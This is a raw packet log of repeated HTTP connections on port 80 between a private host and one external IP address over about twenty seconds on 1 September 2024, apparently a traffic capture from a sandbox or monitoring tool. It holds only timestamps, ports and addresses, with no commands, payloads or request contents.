Sep 1, 2024 23:58:14.103018999 CEST	49810	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:14.103334904 CEST	49812	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:14.103334904 CEST	49811	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:14.108112097 CEST	80	49812	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:14.108124018 CEST	80	49810	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:14.108287096 CEST	49810	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:14.108302116 CEST	49812	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:14.108400106 CEST	49812	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:14.108463049 CEST	80	49811	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:14.108510017 CEST	49811	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:14.113132954 CEST	80	49812	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:14.466645956 CEST	49812	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:14.471535921 CEST	80	49812	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:14.699685097 CEST	80	49812	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:14.747731924 CEST	49812	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:14.828450918 CEST	80	49812	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:14.872724056 CEST	49812	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:14.953814030 CEST	49813	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:15.064296007 CEST	80	49813	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:15.067400932 CEST	49813	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:15.067568064 CEST	49813	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:15.072319031 CEST	80	49813	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:15.419770002 CEST	49813	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:15.424803019 CEST	80	49813	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:15.650763035 CEST	80	49813	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:15.700887918 CEST	49813	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:15.782326937 CEST	80	49813	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:15.825963974 CEST	49813	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:15.919610977 CEST	49813	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:15.919876099 CEST	49814	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:15.924716949 CEST	80	49813	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:15.924788952 CEST	49813	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:15.925017118 CEST	80	49814	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:15.925082922 CEST	49814	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:15.925220966 CEST	49814	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:15.929949999 CEST	80	49814	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:16.279082060 CEST	49814	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:16.283945084 CEST	80	49814	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:16.517113924 CEST	80	49814	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:16.560237885 CEST	49814	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:16.648555994 CEST	80	49814	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:16.701060057 CEST	49814	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:16.775501966 CEST	49814	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:16.775765896 CEST	49815	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:16.780597925 CEST	80	49815	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:16.780692101 CEST	49815	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:16.780726910 CEST	80	49814	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:16.780778885 CEST	49814	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:16.780899048 CEST	49815	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:16.785674095 CEST	80	49815	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:17.138468981 CEST	49815	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:17.147063017 CEST	80	49815	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:17.357327938 CEST	80	49815	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:17.404057980 CEST	49815	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:17.484747887 CEST	80	49815	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:17.528981924 CEST	49815	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:17.602845907 CEST	49812	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:17.604170084 CEST	49815	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:17.604407072 CEST	49816	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:17.612396955 CEST	80	49816	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:17.612484932 CEST	49816	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:17.612577915 CEST	49816	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:17.612852097 CEST	80	49815	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:17.612906933 CEST	49815	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:17.617396116 CEST	80	49816	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:17.966567993 CEST	49816	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:17.971501112 CEST	80	49816	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:18.236377954 CEST	80	49816	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:18.278975964 CEST	49816	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:18.372528076 CEST	80	49816	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:18.419637918 CEST	49816	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:18.557835102 CEST	49816	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:18.561002016 CEST	49817	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:18.563108921 CEST	80	49816	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:18.565732002 CEST	49816	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:18.566598892 CEST	80	49817	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:18.567996979 CEST	49817	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:18.568104029 CEST	49817	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:18.573143959 CEST	80	49817	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:18.842216015 CEST	49818	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:18.842411995 CEST	49817	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:19.039278030 CEST	49819	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:19.154043913 CEST	49817	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:19.725708008 CEST	80	49817	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:19.725928068 CEST	80	49817	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:19.726008892 CEST	49817	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:19.726047993 CEST	49817	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:19.726629019 CEST	80	49817	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:19.728585958 CEST	80	49818	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:19.728596926 CEST	80	49819	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:19.728605986 CEST	80	49817	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:19.728724957 CEST	49817	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:19.728775024 CEST	49817	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:19.728785992 CEST	49818	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:19.728792906 CEST	49819	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:19.728960037 CEST	49819	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:19.729579926 CEST	49818	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:19.730092049 CEST	80	49817	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:19.730142117 CEST	49817	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:19.733701944 CEST	80	49819	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:19.734365940 CEST	80	49818	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:20.075933933 CEST	49818	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:20.076077938 CEST	49819	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:20.080924034 CEST	80	49818	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:20.080935001 CEST	80	49818	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:20.080941916 CEST	80	49819	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:20.316410065 CEST	80	49818	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:20.327696085 CEST	80	49819	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:20.372766018 CEST	49819	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:20.372770071 CEST	49818	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:20.443873882 CEST	80	49818	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:20.465713978 CEST	80	49819	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:20.497812986 CEST	49818	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:20.513369083 CEST	49819	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:20.595809937 CEST	49818	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:20.595863104 CEST	49819	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:20.596168995 CEST	49820	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:20.600878954 CEST	80	49818	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:20.600950003 CEST	80	49820	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:20.601017952 CEST	49818	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:20.601046085 CEST	49820	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:20.601154089 CEST	80	49819	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:20.601193905 CEST	49820	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:20.601198912 CEST	49819	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:20.606000900 CEST	80	49820	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:20.951090097 CEST	49820	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:20.956047058 CEST	80	49820	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:21.180898905 CEST	80	49820	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:21.232134104 CEST	49820	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:21.305166960 CEST	80	49820	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:21.358623028 CEST	49820	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:21.602235079 CEST	49820	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:21.602535963 CEST	49821	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:21.607397079 CEST	80	49820	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:21.607409954 CEST	80	49821	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:21.607464075 CEST	49820	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:21.607507944 CEST	49821	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:21.607830048 CEST	49821	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:21.612641096 CEST	80	49821	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:21.966593027 CEST	49821	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:21.971568108 CEST	80	49821	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:22.180335999 CEST	80	49821	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:22.232115030 CEST	49821	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:22.304733992 CEST	80	49821	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:22.358633995 CEST	49821	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:22.430041075 CEST	49821	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:22.430243969 CEST	49822	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:22.435156107 CEST	80	49822	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:22.435247898 CEST	49822	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:22.435359001 CEST	49822	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:22.435415983 CEST	80	49821	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:22.435691118 CEST	49821	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:22.440211058 CEST	80	49822	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:22.794703960 CEST	49822	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:22.799562931 CEST	80	49822	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:23.017138004 CEST	80	49822	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:23.060260057 CEST	49822	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:23.146595001 CEST	80	49822	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:23.200903893 CEST	49822	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:23.275763035 CEST	49822	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:23.276063919 CEST	49823	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:23.505225897 CEST	80	49823	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:23.505340099 CEST	49823	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:23.505491972 CEST	49823	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:23.505675077 CEST	80	49822	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:23.509496927 CEST	49822	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:23.510319948 CEST	80	49823	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:23.857302904 CEST	49823	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:23.862715006 CEST	80	49823	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:24.102168083 CEST	80	49823	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:24.153986931 CEST	49823	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:24.230344057 CEST	80	49823	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:24.278985977 CEST	49823	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:24.383431911 CEST	49823	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:24.383807898 CEST	49824	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:24.388452053 CEST	80	49823	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:24.388500929 CEST	49823	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:24.388571024 CEST	80	49824	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:24.388638973 CEST	49824	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:24.388742924 CEST	49824	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:24.393750906 CEST	80	49824	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:24.747814894 CEST	49824	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:24.752645016 CEST	80	49824	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:24.963284969 CEST	80	49824	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:25.013366938 CEST	49824	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:25.089282990 CEST	80	49824	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:25.138361931 CEST	49824	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:25.212542057 CEST	49824	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:25.212745905 CEST	49825	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:25.217567921 CEST	80	49825	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:25.217636108 CEST	49825	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:25.217669964 CEST	80	49824	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:25.217725039 CEST	49824	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:25.217792034 CEST	49825	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:25.222543955 CEST	80	49825	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:25.451406002 CEST	49825	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:25.451565981 CEST	49826	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:25.456546068 CEST	80	49826	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:25.459399939 CEST	49826	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:25.459507942 CEST	49826	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:25.464252949 CEST	80	49826	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:25.500339031 CEST	80	49825	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:25.579026937 CEST	49827	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:25.583867073 CEST	80	49827	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:25.583925962 CEST	49827	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:25.584053040 CEST	49827	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:25.592675924 CEST	80	49827	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:25.630836964 CEST	80	49825	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:25.630950928 CEST	49825	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:25.810314894 CEST	49826	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:25.816270113 CEST	80	49826	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:25.816313028 CEST	80	49826	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:25.935281992 CEST	49827	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:25.940263987 CEST	80	49827	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:26.032237053 CEST	80	49826	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:26.075849056 CEST	49826	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:26.325365067 CEST	80	49826	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:26.325378895 CEST	80	49827	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:26.325382948 CEST	80	49827	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:26.325454950 CEST	49827	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:26.374633074 CEST	49826	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:26.449805021 CEST	49826	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:26.449919939 CEST	49827	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:26.450141907 CEST	49828	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:26.455050945 CEST	80	49828	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:26.455063105 CEST	80	49826	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:26.455117941 CEST	49828	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:26.455137968 CEST	49826	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:26.455229998 CEST	49828	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:26.455362082 CEST	80	49827	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:26.455406904 CEST	49827	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:26.459980965 CEST	80	49828	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:26.810400963 CEST	49828	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:26.815404892 CEST	80	49828	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:27.038182020 CEST	80	49828	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:27.091661930 CEST	49828	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:27.162368059 CEST	80	49828	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:27.168768883 CEST	49828	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:27.173795938 CEST	80	49828	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:27.173871040 CEST	49828	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:27.294641018 CEST	49829	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:27.299721003 CEST	80	49829	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:27.299808025 CEST	49829	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:27.299956083 CEST	49829	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:27.304785967 CEST	80	49829	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:27.654532909 CEST	49829	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:27.659378052 CEST	80	49829	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:27.873025894 CEST	80	49829	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:27.919625998 CEST	49829	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:27.997078896 CEST	80	49829	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:28.044645071 CEST	49829	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:28.121784925 CEST	49829	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:28.122088909 CEST	49830	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:28.126915932 CEST	80	49830	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:28.126935005 CEST	80	49829	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:28.126980066 CEST	49830	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:28.127002954 CEST	49829	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:28.127131939 CEST	49830	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:28.131885052 CEST	80	49830	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:28.482189894 CEST	49830	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:28.487186909 CEST	80	49830	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:28.705148935 CEST	80	49830	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:28.747730970 CEST	49830	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:28.828738928 CEST	80	49830	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:28.872729063 CEST	49830	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:28.949105978 CEST	49830	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:28.949481964 CEST	49831	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:28.954273939 CEST	80	49830	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:28.954286098 CEST	80	49831	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:28.954330921 CEST	49830	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:28.954380989 CEST	49831	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:28.954508066 CEST	49831	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:28.959213018 CEST	80	49831	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:29.310301065 CEST	49831	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:29.315184116 CEST	80	49831	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:29.557723999 CEST	80	49831	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:29.607101917 CEST	49831	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:29.686300993 CEST	80	49831	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:29.732111931 CEST	49831	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:29.808404922 CEST	49831	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:29.808743954 CEST	49832	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:29.814428091 CEST	80	49831	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:29.814439058 CEST	80	49832	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:29.814481974 CEST	49831	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:29.814512014 CEST	49832	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:29.814626932 CEST	49832	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:29.819863081 CEST	80	49832	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:30.169709921 CEST	49832	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:30.176698923 CEST	80	49832	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:30.479053020 CEST	80	49832	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:30.512872934 CEST	80	49832	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:30.512945890 CEST	49832	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:30.634315968 CEST	49833	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:30.634319067 CEST	49832	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:30.639295101 CEST	80	49833	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:30.639410973 CEST	49833	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:30.639517069 CEST	49833	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:30.639605045 CEST	80	49832	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:30.639688969 CEST	49832	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:30.644299984 CEST	80	49833	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:31.001374006 CEST	49833	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:31.006290913 CEST	80	49833	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:31.221101999 CEST	80	49833	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:31.263392925 CEST	49833	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:31.326476097 CEST	49833	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:31.326565981 CEST	49834	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:31.331363916 CEST	80	49834	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:31.331444025 CEST	49834	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:31.331516027 CEST	80	49833	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:31.331556082 CEST	49834	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:31.331568956 CEST	49833	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:31.336285114 CEST	80	49834	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:31.449450970 CEST	49835	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:31.454252005 CEST	80	49835	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:31.454426050 CEST	49835	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:31.454545975 CEST	49835	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:31.459306002 CEST	80	49835	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:31.685364008 CEST	49834	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:31.690164089 CEST	80	49834	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:31.690288067 CEST	80	49834	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:31.810576916 CEST	49835	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:31.815393925 CEST	80	49835	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:31.905392885 CEST	80	49834	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:31.950853109 CEST	49834	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:32.028686047 CEST	80	49834	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:32.044271946 CEST	80	49835	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:32.075855970 CEST	49834	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:32.091497898 CEST	49835	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:32.174268961 CEST	80	49835	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:32.216573954 CEST	49835	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:32.291234016 CEST	49834	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:32.291518927 CEST	49836	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:32.291563988 CEST	49835	80	192.168.2.5	94.158.244.70
